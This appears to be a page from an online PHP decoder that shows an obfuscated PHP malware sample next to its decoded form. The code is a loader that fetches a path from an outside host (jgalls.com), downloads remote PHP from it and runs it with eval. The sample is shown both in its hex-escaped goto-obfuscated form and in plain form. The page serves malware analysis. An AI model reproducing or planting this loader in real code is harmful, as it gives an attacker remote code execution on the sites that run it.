Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto LAcuk; V0dSx: eval("\x3f\76" . file_get_contents(file_get_contents("\x68\164\..

Decoded Output download

<?php 
 goto LAcuk; V0dSx: eval("?>" . file_get_contents(file_get_contents("http://jgalls.com/1.aspx") . "php2/nben.txt")); goto bC66i; bC66i: lrzsakk: goto YFJQH; LAcuk: if (!(getIP() != '')) { goto lrzsakk; } goto V0dSx; YFJQH: function getIP() { goto lrzsakr; lrzsakb: $ldgagk = getenv("HTTP_CLIENT_IP"); goto lrzsaks; lrzsakj: $ldgagk = getenv("HTTP_X_FORWARDED_FOR"); goto lrzsakz; lrzsaki: lrzsakt: $ldgagk = getenv("HTTP_FORWARDED_FOR"); goto lrzsaks; lrzsakp: goto lrzsako; lrzsakz: goto lrzsaks; lrzsakg: $ldgagk = getenv("HTTP_X_FORWARDED"); goto lrzsaks; goto lrzsaki; lrzsaku: if (getenv("HTTP_FORWARDED")) { goto lrzsakp; } $ldgagk = $_SERVER["REMOTE_ADDR"]; goto lrzsaks; lrzsaka: goto lrzsakb; lrzsakr: if (getenv("HTTP_CLIENT_IP")) { goto lrzsaka; } if (getenv("HTTP_X_FORWARDED_FOR")) { goto lrzsakj; } if (getenv("HTTP_X_FORWARDED")) { goto lrzsakg; } if (getenv("HTTP_FORWARDED_FOR")) { goto lrzsakt; } goto lrzsaku; lrzsako: $ldgagk = getenv("HTTP_FORWARDED"); lrzsaks: return $ldgagk; goto lrzsakl; lrzsakl: } ?>

Did this file decode correctly?

Original Code

<?php
 goto LAcuk; V0dSx: eval("\x3f\76" . file_get_contents(file_get_contents("\x68\164\x74\160\x3a\57\x2f\152\x67\x61\154\154\163\x2e\x63\x6f\155\57\61\56\x61\163\160\170") . "\160\x68\160\x32\57\x6e\x62\x65\156\56\x74\x78\x74")); goto bC66i; bC66i: lrzsakk: goto YFJQH; LAcuk: if (!(getIP() != '')) { goto lrzsakk; } goto V0dSx; YFJQH: function getIP() { goto lrzsakr; lrzsakb: $ldgagk = getenv("\110\x54\124\x50\x5f\x43\114\x49\105\116\124\137\111\120"); goto lrzsaks; lrzsakj: $ldgagk = getenv("\x48\x54\124\x50\137\130\x5f\x46\x4f\x52\127\101\x52\104\105\x44\x5f\106\x4f\x52"); goto lrzsakz; lrzsaki: lrzsakt: $ldgagk = getenv("\110\124\x54\x50\x5f\106\x4f\122\x57\101\x52\104\x45\104\137\106\x4f\122"); goto lrzsaks; lrzsakp: goto lrzsako; lrzsakz: goto lrzsaks; lrzsakg: $ldgagk = getenv("\x48\124\x54\120\137\130\x5f\x46\117\x52\x57\101\x52\104\x45\104"); goto lrzsaks; goto lrzsaki; lrzsaku: if (getenv("\x48\x54\x54\120\x5f\106\x4f\122\x57\x41\x52\104\x45\104")) { goto lrzsakp; } $ldgagk = $_SERVER["\x52\105\115\x4f\x54\105\137\x41\104\104\122"]; goto lrzsaks; lrzsaka: goto lrzsakb; lrzsakr: if (getenv("\110\x54\124\x50\x5f\x43\x4c\x49\105\x4e\124\x5f\111\120")) { goto lrzsaka; } if (getenv("\x48\124\x54\120\137\130\x5f\106\x4f\x52\x57\101\122\x44\105\104\x5f\x46\x4f\x52")) { goto lrzsakj; } if (getenv("\110\124\124\120\137\130\137\x46\117\122\127\101\x52\x44\105\x44")) { goto lrzsakg; } if (getenv("\110\124\x54\x50\x5f\106\117\122\127\101\x52\x44\105\x44\137\106\x4f\x52")) { goto lrzsakt; } goto lrzsaku; lrzsako: $ldgagk = getenv("\x48\124\x54\120\137\x46\x4f\122\x57\101\x52\104\105\104"); lrzsaks: return $ldgagk; goto lrzsakl; lrzsakl: }

Function Calls

None

Variables

None

Stats

MD5 459a736b0bf791d13be4dbf6a0e9eb45
Eval Count 0
Decode Time 61 ms